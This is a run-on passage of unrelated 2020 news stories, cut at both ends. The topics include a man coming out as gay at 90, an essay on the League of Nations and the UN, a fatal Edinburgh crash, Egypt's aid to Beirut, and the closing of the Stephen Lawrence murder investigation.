Felts met a woman at his church's youth group. They got married and had a daughter, but they divorced in 1980. Even then he didn't dare to come out as he was scared he could lose custody of his daughter. But he would discreetly head to the library, where he flipped through the telephone books in search of one name. "I called every Phillip J in there and was never able to locate him," Felts said. "I will die always regretting having left Phillip, but hopefully he forgave me." Coming out at the age of 90 Growing up, Rebecca Mayes, now 48, knew that her father had some regrets in life. She had always thought that they were related to her mother, but she finally learned in May during the pandemic the source of her father's pain. "We were on the phone and he told me that he missed out on the one true love of his life," Mayes told CNN. "He didn't say male or female." Later that day, Felts revealed to Mayes in an email that his one true love was indeed Phillip Jones, a man. Mayes said she was surprised to hear that her father was gay, considering the fact that he reacted to her coming out as lesbian 25 years ago in dismay. "He told me the relationship wouldn't last," Mayes remembered. But she said her father quickly came around and became her and her now-wife's biggest supporter. "I think he had the same fears for me that he had himself about what a tough life it could be, everything from not being able to have children to societal issues," said Mayes, who now has two children. After coming out to his daughter, Felts soon revealed his truth to the rest of the world in a Facebook post that was met with overwhelming support and love, he said. He even shared the story about Phillip Jones in hopes that someone could help find him. A woman in New Jersey who helps find the biological parents of adopted children reached out to Felts to help find his long-lost love. But unfortunately, what she brought was sad news. Jones had died in 2013. "I loved him till the end, and I'm doing this all for him," Felts said. Now, as a proud gay man, Felts said Larry has taken over. He has blue and pink streaks in his hair. He's wearing the rainbow pride flag, and he even participated in this year's Denver Pride Virtual 5K on his walker. But most importantly, Mayes said her father is more outgoing and confident than ever. "I don't see how I could not be happy for the rest of my life," Felts said. It might have taken him 90 years to come out as gay, but he said he hopes his story will give others the courage to embrace their sexuality as well. "There's a whole world out there that will accept you and love you for who you are," he said. Important moments in history of gay rights movement Here are 12 important moments in the pride movement and the fight for LGBTQ rights. The-CNN-Wire & 2020 Cable News Network, Inc., a WarnerMedia Company. All rights reserved. Xander Irvine, three, was killed after being hit by a car in Edinburgh. (SWNS) A 91-year-old woman has been arrested over the death of a three-year-old boy who was hit by a car in Edinburgh. Xander Irvine was walking with his mother, Victoria, 37, on Morningside Road on 30 June when he was struck by the vehicle. He was taken to hospital but later died from his injuries. His mother was injured but has made a full recovery. Hundreds of mourners lined the streets of Morningside on the day of Xanders funeral on 9 July. The car which struck Xander Irvine and crashed into a shop in Edinburgh. (PA) The car, a red Kia, mounted the pavement and crashed into a shop at about 2.30pm. The 91-year-old woman who was behind the wheel was not injured. Police have said that she has been arrested. Read more: RSPCA warns of a rise in abandonment of exotic pets In a statement, they said: Police Scotland can confirm that a 91-year-old woman has been arrested in connection with a fatal road crash in Edinburgh. The incident happened around 2.30pm on Tuesday, 30 June, 2020, when a three-year-old boy was struck by a car on Morningside Road in the city. Police at the scene of the crash on Morningside Road, Edinburgh, on 30 June. (PA) Police said a report will be sent to the Procurator Fiscal. His family said in a previous statement: "Xander was a very happy, bubbly, intelligent little boy who was very dearly loved by his parents Victoria and Paul. "Xander was a real chatterbox who just loved books, playing with all sorts of vehicles and his Lego. "He really enjoyed life and he enriched the lives of everyone he met. "Victoria and Paul are devastated and feel as if their hearts have been ripped out. We know that the League failed. We also know that the Palais is undergoing considerable renovation. A new home is being constructed for the Office of the UN High Commissioner for Human Rights on the site of the Palais. With all the renovation and construction, one question remains on the 75th anniversary of the UN, as it did for the League: Is the Palais and the UN still a home for lost causes? by Daniel Warner Anniversaries call for celebrations. The 75th anniversary of the United Nations was supposed to be the event of 2020 for the multilateral system. The list of scheduled events and publications is too long to mention. Should we celebrate? What is there to celebrate? A global pandemic with no multilateral response? Increasing economic and social inequality with little international leadership? Wars in Yemen, Syria, Libya, and Afghanistan? Growing U.S. China tensions? Lack of progress on Sustainable Development Goals? World Trade Organization blocked? U.S. withdrawal from the World Health Organization? None of these are reasons for celebration. The United Nations has had problems before. Remember Srebrenica and the genocide in Rwanda. A wise man once told me: The United Nations has always been in crisis. He also said: When the pendulum gets to the bottom it can only go up. Has the multilateral system now hit the bottom? Will it go up or are we watching the United Nations go through its final death throes as happened to the League of Nations? A good place to examine the last days of the League is George Slocombes 1938 history, A Mirror to Geneva: Its Growth, Grandeur and Decay (Henry Holt and Company). In charming, elegant wry prose, Slocombe, who observed many of the Geneva events as correspondent for the Daily Herald, has the sensitivity of a modern gossip columnist combined with the geopolitical sense of a political scientist. Slocombe sets the scene in Geneva, describes the birth of the League and profiles its major actors. He catalogues Geneva in 1920-21 as a third-rate European city of little international importance that was at once a town of treacherous climate, of an illusory hospitality, of a calculating welcome; and a town of Roman relics, of frontier wars, of tyrannous medieval dukes, of Renaissance republics, of sanguinary struggles, of harsh intolerant religions, of intrigue, cruelty and ripe learning. After the U.S. Senates refusal to ratify the 1919 Treaty of Versailles, President Woodrow Wilson, romantically influenced by vague notions of Calvin and Rousseau, was able to influence the decision to have the seat of the new organization in Geneva, a city whose appearance of civilization, intellectual tolerance and large humanity are deceptiveIt looks askance at the man of unconventional or subversive theories; it prosecutes the revolutionary; it offers a chilly welcome to mild and peace-loving cranks and fanatics The Leagues first Secretary-General, Sir Edmund Drummond, had few illusions about the influence of the League. In a speech to the House of Commons in 1920 that Slocombe cites, Drummond realistically observed: The League of Nations may give occasional assistance, frequent assistance, effective assistance, but the League of Nations is not and cannot be a complete instrument for bringing order out of chaos. And Slocombe had no illusions about Drummonds role: The timid compromise between nationalism and internationalism which is the League of Nations is governed by bureaucrats and secretaries. And in a state of secretaries, the Secretary-General is king. The League was seen as a battleground between the realists and idealists in world affairs. Even the most hard-hearted realist and, certainly Slocombe was one, would be moved by French statesman Aristide Briands 1926 speech in Geneva at the Assembly on the occasion of the admission of Germany into the League: Henceforth we will settle our differences by peaceful procedure. Away with the rifles, the machine-guns and the canon! Here comes conciliation, arbitration and peace! But just as when the pendulum gets to the bottom it can only go up, so when it gets to the top it can only go down. According to Slocombe, The incoming tide of Hitlerism was soon to sweep victoriously up the shores of Germany. Although Briand and the German Foreign Minister Stresemann lunched together in September in Thoiry to discuss economic and political agreements between the two countries, as Slocombe points out, nothing came of them. The pendulum had started to descend despite the Kellogg-Briand Pact of 1928, which renounced war as an instrument of national policy. The scale was shifting away from the idealists towards the realists. Briand died in 1931. The inscription on his tombstone reads As long as I am here, there shall be no war. He was no longer there. The years 1926 and 1930 saw the Leagues apotheosis as an organization for the promotion and maintenance of peace. In 1931 began the period of decline, Slocombe summarizes. For example: The Disarmament Conference was an integral part of the League when it opened in 1932. Article 8 of the League Covenant states that the Members of the League recognize that the maintenance of peace requires the reduction of national armament to the lowest point consistent with national safety and the enforcement by common action of international obligations. But Germany withdrew in 1933, Italy would only be represented by an observer, and the Japanese participation was virtually non-existent. As Slocombe describes the Conferences failure through the personality of its president, Arthur Henderson, one is reminded of the current situation of the UNs Geneva-based Conference on Disarmament that has had no agenda for over 20 years. The Conference lasted only two years while the current Conference remains a talking show at best. The failure of the Disarmament Conference was a precursor of larger problems, specifically the inability of the League of Nations to stop the Japanese invasion of Manchuria, Hitlers re-militarization of the Rhineland and the Italian invasion and conquest of Abyssinia. (Modern day comparisons with the changing of European borders in Crimea and Kosovo show the impotence of the UN today.) Economic and financial sanctions had little effect on Italy in what Slocombe describes as the collective surrender of the League to the policy of brute force. In addition, many of the great leaders of the positive period were no longer active in League affairs after 1930. One of the positive notes in Slocombes recounting is the creation of the International Labor Office, the only major UN agency today that has civil society (employer and workers organizations) as well as government representatives. He is effusive in his praise of its first head, Albert Thomas, who, according to Slocombe, had more influence in Geneva than the Secretary-General of the League. Ever the journalist, Slocombe ends on a most enthusiastic commendation for his profession. Writing in 1938, he says: The heroic days of the League are past, but it still possesses a curious fascination for the worlds newspapers and their correspondents. Geneva is the first laboratory to be created for the manufacture of world opinion. During meetings of the Council and Assembly between four and five hundred journalists (italics added) assemble in the town. Over a hundred resident correspondents are permanently assigned to the reporting of the Leagues activities. The one solitary American of the early days has become a dozenGeneva, like Oxford, has become the home of lost causes. (The number of journalists today accredited to the Office of the United Nations in Geneva continues to decline. Stories about the World Health Organization or World Trade Organization are often sent from Brussels or Washington. ) Slocombe concludes that the League is, after all its failures, its disappointments and its defects, a highly perfected machine such as the world has never constructed. And he reviews, in eloquent terms, the construction of the Palais des Nations in Geneva. We know that the League failed. We also know that the Palais is undergoing considerable renovation. A new home is being constructed for the Office of the UN High Commissioner for Human Rights on the site of the Palais. With all the renovation and construction, one question remains on the 75th anniversary of the UN, as it did for the League: Is the Palais and the UN still a home for lost causes? Daniel Warner is the author of An Ethic of Responsibility in International Relations. (Lynne Rienner). He lives in Geneva. This article originally appeared in CounterPunch By Lynn Warburton With a growing urgency for universities to address global challenges with breakthrough innovations, the demand for entrepreneurial scientists is on the rise. On Aug. 4 and 5, the Beedie School of Business Charles Chang Institute for Entrepreneurship drew 395 attendees from 38 countries in 22 time zones to the digital 2020 R & D Management Symposium, Invention to Innovation: Creating the Conditions for Impact. Their goal? To re-define how universities, policymakers and industry can advance research-based innovation and respond to societal needs in Canada and around the world. Government policymakers and industry leaders heard leading researchers and practitioners from universities such as MIT, Duke University, University of Bologna, Concordia, Harvard and Tsinghua University present cutting-edge research that challenges conventional wisdom on innovation ecosystems. They discussed shaping research and capabilities around regional natural strengths. Specifically, they discussed the roles universities play in regional resilience and adaptability, and the pressing need for greater investment in translating university research into impact as ambitious corporate R&D continues to decrease. They also heard about capabilities that can imrpove research-based innovation. SFU Beedie School of Business professor Elicia Maine spoke about the entrepreneurial capabilities scientists can develop to help create greater impact from their research, and how they can found spinoff ventures that have a better chance of success. SFU President Andrew Petter opened the symposium with a challenge, explaining that universities, as powerhouses of great ideas, discoveries and innovations, have important roles to play not only in advancing solutions, but also in creating the societal conditions and infrastructure required to ensure they have impact. Indeed, as anchor institutions within their communities, universities have a responsibility to harness their knowledge and resources to benefit society. Maine says scientists and researchers are being called on to play a much more active role in translating their inventions into practice to address crises such as responding to COVID-19, global warming and food scarcity. Sarah Lubik, executive director of the Chang Institute for Entrepreneurship and the symposium co-chair, underscored the importance of entrepreneurial training for scientists and researchers as they take on those challenges, while confronting the stereotype that entrepreneurship cant be taught. "The entrepreneurial mindset is in everyone, but needs to be unleashed, which means we need programs tailored to this space and to create supportive communities that help us push forward into difficult spaces, she says. A PhD mentoring session during the symposium ensured the next generation of scholars was supported by thought-leaders and academic mentors. The Discovery Foundation Tech4Impact program offered student engagement opportunities, which included volunteer opportunities for SFU students. Alumni from SFUs invention to innovation (i2I) commercialization program hosted creative coffee networking breakouts. The symposium also included an announcement about the launch of the Mitacs i2I innovation skills program in Ontario, with Queens University as the lead Ontario partner. Impacts of the symposium didnt end when it closed. Future research and collaboration is expected to be driven by outcomes from the symposium and a white paper, expected by the end of 2020, will provide a road map for future partnerships and studies. GENEVA, Aug 10 (Reuters) - Indicators point to Brazil, which has the world's second higest number of coronavirus infections, facing continued pressure on its healthcare system, the World Health Organization said on Monday. Brazil has reported more than 3 million confirmed cases, second only to the United States, and more than 101,000 deaths. (Reporting by Stephanie Nebehay, John Miller and Michael Shields; Writing by Nick Macfie; Editing by Kevin Liffey) Lafayette Earlier this morning, the Louisiana State Police Bureau of Investigations was requested by the Lafayette Police Department (LPD) to investigate an officer-involved shooting involving an LPD officer. Louisiana State Police is the lead investigating agency. The preliminary investigation revealed that shortly after 5:00 a.m., officers with LPD responded to a citizens complaint related to a burglary in the area of Winnipeg Avenue. Upon arrival, an officer made contact with a suspect believed to be involved in the burglary. As the LPD officer attempted to place the suspect into custody, a physical altercation took place resulting in the officer discharging his weapon. The suspect was struck by gunfire and transported to a local hospital in stable condition. Two handguns were found in close proximity to the suspect. One of these weapons was consistent with a handgun taken in a burglary, moments before. No officers were injured. This is an active and ongoing investigation. No further updates are available at this time. FLINT, MI -- The Flint pediatrician whose research helped end the citys use of corrosive river water in 2015 is one of USA Todays 100 Women of the Century. Dr. Mona Hanna-Attisha was recognized by the newspaper in a story Tuesday, Aug. 11, part of a series commemorating the 100th anniversary of the 19th Amendment, which gave women the right to vote in the United States. Hanna-Attisha is the founder and director of the Michigan State University and Hurley Childrens Hospital Pediatric Public Heath Initiative. Her 2015 study showed the percentage of children with elevated blood lead levels in Flint doubled after the city changed its water source to the Flint River in parts of 2014 and 2015. Experts have said the citys water was contaminated after state-appointed emergency managers made a series of decisions that led to using the river as Flints drinking water source. The improperly treated water caused lead to leach from water transmission lines and home plumbing. Hanna-Attisha told USA Today that her initial decision to take her research public without vetting and peer review was unconventional but necessary. I did something totally disobedient in the academic doctor world: I literally walked out of my clinic and I stood up at a press conference and shared this research, she said. Because there was no time. Every day that went by was another day that was putting our children at risk. The recognition of being a figure of historical significance is not new for Hanna-Attisha, who was named one of TIME magazines 100 most influential people in the world in 2016. Her book, What the Eyes Dont See was chosen for the Michigan Humanities 2019-20 Great Michigan Read program. Seven things you dont know about Flints crusading water crisis doctor Elevated lead found in more Flint kids after water switch, study finds Recovering from coronavirus, Flints Dr. Mona says, We can beat this Dr. Mona says about 100 baby teeth from Flint kids being tested for lead A woman has endured a terrifying attack in Adelaide with a man wielding a hammer and smashing her car window before pulling her out of the vehicle. The woman was parked at suburban Parkside on Monday afternoon when the man approached and yelled for her to 'get out of the car', police said. It's alleged he then produced a hammer and hit the driver's side window. A woman has endured a terrifying attack in Adelaide with a man wielding a hammer and smashing her car window before pulling her out of the vehicle (file picture) 'The window cracked but he then hit the window a second time shattering the window and covering the woman with glass,' police said in a statement. The woman, who says she'd never seen the man before, was dragged out of the vehicle by the arm and on to the road. She managed to flee as her assailant tried but failed to start her car without the keys, with the man then stealing her backpack and walking off. He was quickly tracked down by police patrols after a short chase. The 37-year-old man from Moonta was arrested and charged with aggravated robbery, assault causing harm and resisting arrest. He was refused bail to appear in Adelaide Magistrates Court later on Tuesday. One of Australias most experienced aged care experts urged the Morrison government to send federal workers to help the sector combat the coronavirus months before infections surged. Monash University professor Joe Ibrahim, a key witness at the royal commission into aged care, advised the government in April to deploy defence personnel or other workers to make sure facilities were ready for the COVID-19 pandemic. Professor Joe Ibrahim urged the federal government to put resources into aged care homes. Credit:Jason South Professor Ibrahim made the proposal as part of a "rapid response" plan that would station people in aged care homes to assess risks and ensure they had the resources to act on guidelines from Canberra on how to deal with infections. The federal government announced the Victorian Aged Care Response Centre on July 25, about three months after Professor Ibrahim put forward his proposal. Last year, Genius made headlines when it used a "watermark" made up of alternating styles of apostrophes that spelled out "red handed" in Morse code to highlight what it said was Google scraping its annotated lyrics. While the move was clever, it hasn't paid off. On Tuesday, a federal court dismissed the lawsuit Genius had launched against the search giant when it shared the evidence it collected. While the judge who presided over the case said Genius' concerns about data scraping were legitimate, he ultimately didn't agree with the company's argument that Google's actions constituted copyright infringement. According to The Hollywood Reporter, at the center of the case was whether Genius owned the copyright to the song lyrics on its website. In Judge Margo Brodie's view, adding elements like annotations to lyrics did not give Genius ownership over them. Those rights ultimately belong to the musicians who wrote the songs in the first place, he said. Google has consistently maintained it does not scrape other websites for their data. "We do not crawl or scrape websites to source these lyrics," Google said in a blog post before Genius sued the company. "The lyrics that you see in information boxes on Search come directly from lyrics content providers, and they are updated automatically as we receive new lyrics and corrections on a regular basis. Despite the legal win, the issue is unlikely to go away. As The Verge points out, the topic of Google scraping data from its competitors is something that came up during the recent antitrust hearing the company took part in last month. Another company that has accused Google of stealing its data is Yelp. In one of the more heated exchanges during the panel, lawmaker David Cicilline questioned Google CEO Sundar Pichai about Yelp. Touching on Yelp's complaints, he asked the executive if he thought Google had acted in a way that was anti-competitive toward the company. "When I run the company, I'm really focused on giving users what they want," Pichai said. "We conduct ourselves to the highest standard." When will schools re-open in India? Here are the latest updates India oi-Vicky Nanjappa New Delhi, Aug 11: No timeline has been fixed yet by the Ministry of Education for reopening of schools as majority of states are not in favour of it in view of the spike in COVID-19 cases, according to sources. While the government is looking at the possibility of starting some classes for senior students from September end or October, no final decision has been taken in this regard, they said. "No timeline has been fixed yet as the decision will completely depend on the pandemic situation. Barring one union territory, no other state or UT is in favour of reopening schools in near future," a source said. Unlock 3.0: Schools to reopen in phased manner starting September 1, says Report "Possibility of higher secondary classes in late September is being explored but there has been no final decision. Whenever it is decided, the Centre will only issue an advisory in this regard and states will have to take a call depending on the COVID-19 situation in their districts," the source added. Universities and schools across the country have been closed since March 16 when the Centre announced a countrywide classroom shutdown as part of measures to contain the COVID-19 outbreak. A nationwide lockdown was announced on March 24, which came into effect the next day and threw economic activities out of gear. While the government has largely eased restrictions, schools and colleges continue to remain closed. Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News Board exams to be made easy; teaching up to class 5 in mother tongue, regional language Last month, the Education Ministry had sent out a letter to states and Union Territories to furnish a feedback from parents of schoolgoing children as to when they would be comfortable with reopening of schools - August, September or October 2020. Scranton, PA (18503) Today A mix of clouds and sun during the morning will give way to cloudy skies this afternoon. High 41F. Winds SW at 10 to 15 mph.. Tonight Cloudy. Snow likely late. Low 24F. Winds W at 5 to 10 mph. Chance of snow 70%. Snow accumulations less than one inch. The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this. Close PDZ Share Purchase Plan - Closing Date Extension Prairie Mining Limited (Prairie or Company) advises that following logistical and processing issues that have prevented Polish shareholders from participating in the Companys Share Purchase Plan (SPP), the Company is extending the Closing Date for all Eligible Shareholders to participate in the SPP to 5:00pm (CET) on 31 August 2020. The issues that have affected Polish Shareholders have now been resolved and given the strong Polish interest in the SPP, the extended Closing Date will ensure that Polish shareholders are not disadvantaged from the delay. An updated timetable has been provided over page. The Company encourages shareholders eligible to participate in the SPP to lodge their SPP application forms and/or remit their application monies as soon as possible as the Company will not accept any late applications and reserves the right, subject to the Corporations Act and the ASX Listing Rules, to vary the closing date without prior notice, including closing the SPP early. ARBITRATION CLAIMS On 1 July 2020, Prairie announced it had executed a Litigation Funding Agreement (LFA) for A$18m (US$12.3m) with LCM Funding UK Limited (a subsidiary of Litigation Capital Management Limited). The facility is available for immediate draw down for Prairie to pursue damages claims in relation to the investment dispute between Prairie and the Polish Government that has arisen out of certain measures taken by Poland in breach of the Energy Charter Treaty and the AustraliaPoland Bilateral Investment Treaty (Treaties). Prairie and its legal counsel are currently preparing for arbitration claims which will be submitted in the coming weeks. The claim will allege that the Republic of Poland has breached its obligations under both domestic law and Treaties. Prairies claim for damages may include, but is not limited to, lost profits for both the Jan Karski and Debiensko mines as well as the value of Prairies historic expenditure in developing both mines plus interest and costs. For further information, please contact: Prairie Mining Limited Tel: +44 207 478 3900 Ben Stoikovich, Chief Executive Officer Email: info@pdz.com.au Sapan Ghai, Head of Corporate Development Kazimierz Chojna, Commercial Officer To view the updated timetable, please view the announcement on http://www.pdz.com.au/company-reports. TWO Airforce of Zimbabwe (AFZ) officers are pleading for their release from detention at Josiah Tungamirai Airbase after they were charged for engaging in an illicit extra-marital affair in the camp. They have been imprisoned since March 11, the High Court heard. Sharon Masuku and Nation Giya were charged with gross misconduct and have been in detention for over 90 days on charges of breaching the Defence Act, but without going to trial. The duo, who are both married, have cited Airforce Commander Elson Moyo and the Defence ministry as respondents, seeking their immediate release or for the matter to be pursued by summons. We were arrested and detained on March 11 at Josiah Tungamirai Airbase on allegations of disgraceful conduct. We have been in detention in excess of 90 days now without trial in gross violation of a number of our constitutional rights, Masuku said. The right to personal liberty, freedom from torture or cruel inhuman or degrading treatment, fair hearing, to be presumed innocent until proven guilty and the right to bail. According to their charge sheet which has been attached to the application for their immediate release, Masukus house maid allegedly leaked the affair to superiors, revealing how her boss would allow Giya into her matrimonial bedroom. A search was subsequently conducted by investigating officers at Masukus house and Giya was found in a spare bedroom. From a period unknown extending to March 11 Masuku and Giya engaged in an illicit association, both being legally married and well knowing their marriages still subsist, stayed together in the matrimonial house of WS Rwambiwa (Masukus husband) from March 7 up to the day they were apprehended, an association which is cruel, indecent and disgraceful, reads the charge sheet. Masuku further submitted that their arrest and detention was also in breach of the Defence Act and said she feared for the welfare of her two children who have been in a neighbours custody since she was apprehended. She said there was no guarantee that their trial for gross misconduct would kick off any soon owing to lockdown imposed restrictions. When the first applicant was arrested she left her two-year-old and seven-year-old children with a neighbour and it has dawned on her that she will not be released without the intervention of this court, she added. A woman who died after a jet ski crashed into her inflatable boat off the Welsh coast has been named by police. Jane Walker, 52, from Stoke-on-Trent, was rushed to hospital after being taken ashore and treated by ambulance crew. Emergency services were called to the incident on the Menai Strait at about 7.30pm on Saturday. Police are appealing for anyone who witnessed or filmed jet skis and a rib boat in the area between 5pm and 7.45pm to come forward. Her family said they were "devastated" by the sudden passing of their "much loved family member," the Scottish Sun reported. Detective Chief Inspector Brian Kearney said: Following Mrs Walkers death, North Wales Police has commenced an investigation to ascertain the sequence of events leading up to this collision. The coroner for North West Wales, Mr Dewi Pritchard Jones, has been informed, and we are continuing to liaise with the Marine Accident Investigation Branch (MAIB) into the circumstances of this collision. Our thoughts are with the family and friends of Mrs Walker at this time. The crash is thought to have taken place between the slipway at Menai Bridge, Anglesey, and the pier in Bangor. Anyone with information is asked to contact police on 101 quoting reference Y114906. During his visit to the Lebanese capital, Shoukry toured an Egyptian field hospital treating victims of last week's devastating Beirut explosion Egyptian Foreign Minister Sameh Shoukry said on Tuesday that Lebanon needs a "new direction" to restore trust in the country, reiterating Cairo's full support for the country in meetings with Lebanese President Michel Aoun and other key political figures. Shoukry told Aoun at the Baabda presidential palace in Beirut, one day after the Lebanese government resigned over public fury following last week's Beirut explosion, that Cairo is working to swiftly meet the needs of the Lebanese people, providing airlift and sealift for the delivery of aid, and ready to help in the reconstruction of the country. The massive warehouse explosion, the biggest in the city's history, killed at least 163 people, injured 6,000 and left as many as 300,000 homeless. "We have been instructed to work closely through Egyptian government bodies to fulfil the needs and priorities of Lebanon at the earliest possible opportunity," Shoukry told reporters after the talks, according to Al-Ahram Arabic news website. Egypt has launched an airlift to offer humanitarian aid and relief supplies and a sealift to help in the reconstruction of blast-hit Lebanon, Shoukry was quoted as saying. The sealift the minister referred to includes a "giant vessel carrying a shipment of glass, aluminium and marble set to arrive in Beirut within days to help restore blast-damaged buildings," Egyptian ambassador to Lebanon Yasser Alawi told Ahram Online. The shipment, prepared by the Federation of Egyptian Industries, will help in rebuilding the 200,000 apartments that were shattered in the blast, the ambassador said. Meetings with Lebanese political powers Following his meeting with the Lebanese president, Shoukry held a series of meetings with Lebanese political leaders representing different parties and factions. The foreign minister held a meeting with Lebanese parliament speaker and leader of Shia Amal Movement Nabih Berry, in which they discussed ways to help Lebanon to overcome its latest crisis. Egypt will always be supportive; we stand with Lebanon and we will continue to work in order to overcome the crisis, Shoukry told a press conference following the meeting. We will give all support to Lebanon, especially in the rebuilding process. We hope that Lebanon overcomes its consecutive crises, he added. The foreign minister also met with Walid Jumblatt, the leader of the Progressive Socialist Party, to discuss recent developments. He also held a meeting with former Lebanese prime minister and leader of the Future Movement Saad El-Hariri, who expressed his appreciation for Egypts support for Lebanon. Shoukry also met with former prime ministers Fouad Siniora and Tammam Salam. Shoukry told Lebanese media that Egypt is in contact with several international partners to provide more support for the country. But he said that this support will not be fully provided unless there is a "new direction" that will restore confidence in Lebanon and pave the way for a new era on a different basis, putting the interest of the Lebanese people before any other considerations. In addition, he met separately with the leader of the Kataeb Party Samy Gemayel and the leader of the Marada movement Suleiman Frangieh, discussing the current situation. Shoukry also discussed by phone the latest developments in the country with Samir Geagea, the leader of Christian party the Lebanese Forces. Visiting Egyptian field hospital in Beirut During his visit, Shoukry toured an Egyptian field hospital treating victims of the blast, the foreign ministry said in a statement. The six-clinic facility opened its doors to the victims one hour after the explosion took place. The Lebanese people took to the streets and stormed government ministries earlier this week in protest at what they described as the ineptness and corruption of the political elite. The Lebanese president accepted the resignation of the cabinet, asking it to stay on in a caretaker capacity until a new government is formed. Lebanese officials said the devastating blast last week was caused by 2,750 tons of ammonium nitrate stored in a warehouse at Beirut port for six years after being confiscated from a ship. Countries around the world have rallied to offer support to Lebanon, providing aid packages, rescue and medical teams, and humanitarian aid. Egypt has taken several steps to provide assistance to Lebanon, including launching an airlift of medical supplies and other aid to support the country. Cairo has so far sent three planes carrying aid supplies to Beirut. #_ #__ # .. # # . pic.twitter.com/gKFtwQxvgM Egypt MFA Spokesperson (@MfaEgypt) August 11, 2020 FM Shoukry visits Egypt's field hospital in Beirut Search Keywords: Short link: Stephen Lawrence's father says he is 'disappointed but not surprised' that the investigation into his son's murder had been shelved by police. Neville Lawrence revealed that he 'will always live with the hope that someone might come forward with evidence which will allow us to achieve full justice for Stephen'. His comments come as police today revealed they had closed their investigation into the murder of Stephen 27 years after he was killed in a racially-motivated attack. The 18-year-old was murdered by a group of racists while waiting for a bus in Eltham, South East London, in April 1993. Five men were named by the Daily Mail as his killers in February 1997, but it was not until January 2012 that two of the group were convicted of murder. Gary Dobson and David Norris were jailed for life at the Old Bailey after a trial that hinged on tiny traces of forensic evidence found years after the crime. Two of the three remaining former suspects, brothers Neil and Jamie Acourt, have since served jail time for drug dealing, while Luke Knight has remained free. The original investigation failed to convict those responsible, and the campaign for justice by Stephen's parents Baroness Lawrence and her former husband Neville led to a public inquiry which branded the Metropolitan Police institutionally racist. In a statement today, Stephen's father Neville said: 'I had hoped that the conviction of two of the killers in 2012 would lead to new evidence coming to light and a prosecution of the other suspects. 'This has unfortunately not happened and, over the last few years, I have had to come to terms with the reality that some of the killers of Stephen may never be brought to justice for what they did. Stephen Lawrence, 18, was killed by a group of racists in Eltham, South East London, in 1993 Gary Dobson (left) and David Norris (right) were jailed for life at the Old Bailey in January 2012 after a trial that hinged on tiny traces of forensic evidence found years after the crime Pictured is David Norris (at the rear), Luke Knight (left), Neil Acourt (second left, partially obscured), and Jamie Acourt (throwing a punch) leaving a Public Inquiry into police handling of the case of murdered teenager Stephen Lawrence, in south London June 30, 1998 'Stephen died 27 years ago in a senseless murder by racists. The tragedy of this for us was compounded by the initial police response and investigation which were tainted by racism and incompetence. The police failures meant that we as a family had to fight a system as well as deal with the grief of losing our son. 'With the announcement today that the investigation has become inactive, I am conscious that the case can never be closed for me. I will always live with the hope that someone might come forward with evidence which will allow us to achieve full justice for Stephen - by bringing about the prosecution of the others responsible for his murder. 'I do not regret our fight for justice, although the burden has at times felt too heavy for a family to bear. In fact, I am immensely proud of everything that has been achieved along the way. 'Without the campaign we wouldn't have been where we are today. I particularly note the support I have received over the years from families who have suffered what I have, especially the family of Richard Adams, who provided me with support in my darkest hours. This experience has compelled me to try and provide this support to others struck by the tragedy of losing a child.' Metropolitan Police Commissioner Cressida Dick (pictured on April 7) said she is 'sad that we have been unable to secure further convictions for Stephen, his family and friends' What happened to the five men named by the Daily Mail as Stephen Lawrence's killers? GARY DOBSON (convicted) Gary Dobson was a teenage gang member turned drug supplier already behind bars for dealing cannabis by the time he faced trial over the Stephen Lawrence murder. A teenage racist, he had been caught on film making hate-filled remarks about black people. He was arrested and charged with Stephen's murder while he was in custody in 2010. His previous acquittal for Stephen's murder was quashed by the Court of Appeal, allowing him to be tried for a second time. He was forced to admit his racist views in 1994, when he was secretly recorded making vile comments to his friends on a camera planted in the skirting board of his council flat. Two years earlier in November 1992, Kevin London, then a 16-year-old black youth, was confronted by a gang of white youths and claimed Dobson threatened him with a knife, although no full report was made to the police. DAVID NORRIS (convicted) David Norris is a convicted racist and son of infamous south London gangster Clifford Norris. He was well known on the streets of Eltham by the time Stephen was killed and had had brushes with the law. Within 24 hours of Stephen's murder he was named as a member of a knife-wielding gang in two anonymous notes left for police and by an informant who spoke to detectives. A year earlier Norris had been charged with wounding after allegedly taking part in an attack on two brothers during which one was stabbed with a knife. The charge was dropped in January 1993, three months before Stephen's murder. Then on March 18 he was accused of stabbing 20 year-old Stacey Benefield with a miniature sword during an scuffle in Kidbrooke, south London. But Norris was cleared of involvement after a trial amid allegations there was contact between a juror and a minder connected to Norris. NEIL ACOURT (not convicted) Knife-obsessed thug who has never provided a satisfactory alibi for his movements on the night of Stephen's murder. He claims he was at home all night but police do not believe his story. His name was linked to Stephen's murder by a series of informants in the days following the killing. When officers raided his home just a few minutes from the murder scene, they found a terrifying arsenal of knives. It was routine for him to carry blades while out and about in Eltham in the mid 1990s. In 2001, he was convicted of possessing an offensive weapon, a baton, which he claimed he needed for protection from revenge attacks. The next year he and David Norris were jailed for 18 months for a racist attack on an off-duty black detective. JAMIE ACOURT (not convicted) Along with his elder brother, revelled in the notoriety of being the other half of Eltham's version of the Krays. He too had an unhealthy obsession in knives. Like his brother, he was also named by police informants as being one of the murderers. His account of the evening when Stephen died does not match his brother's story. In a TV interview, he said he could not remember hearing of Stephen's death until he saw it on TV the next day. Yet Neil said in the same programme that someone came to the door to inform him of a local stabbing. Of great interest to the police is the fact that Gary Dobson has admitted going to the Acourts' home about an hour after Stephen's murder, supposedly to borrow a Bob Marley CD. Police believe that they met to get their stories straight. Detectives have been unable to gather forensic evidence linking him to the murder and he was not positively identified by witnesses. LUKE KNIGHT (not convicted) Luke Knight has always maintained his innocence while police suspect a 'sixth man' might have been part of the gang Although police informants suggested he was one of the gang, he has always maintained his innocence. Along with Neil Acourt, he was charged with murder in 1993 but the case was dropped within weeks because of doubts over the evidence. He was formally acquitted of murder at the 1996 private prosecution. He was not in the dock with Norris and Dobson because of lack of credible identification evidence, no confession and no forensics linking him to the murder. Because of double jeopardy laws, police would need a major breakthrough to snare him. Advertisement Stephen's mother Baroness Doreen Lawrence said: 'I am truly disappointed that those others who were equally responsible for my son's racist killing may not be brought to justice. 'I am very sad that a line has now been drawn into the investigation and that it is now in an 'inactive' phase. 'Despite this, I would still urge anyone who has any information that could help me get all of Stephen's killers convicted, to come forward. 'It is never too late to give a mother justice for the murder of her son. 'Whilst the Metropolitan Police have given up, I never will.' When the force announced two years ago that it was mothballing the investigation and it was unlikely to progress without new information, Doreen Lawrence said she wanted the probe closed. However, Neville Lawrence said he hoped the family could get 'total justice' and that he would never give up. Today, Scotland Yard Commissioner 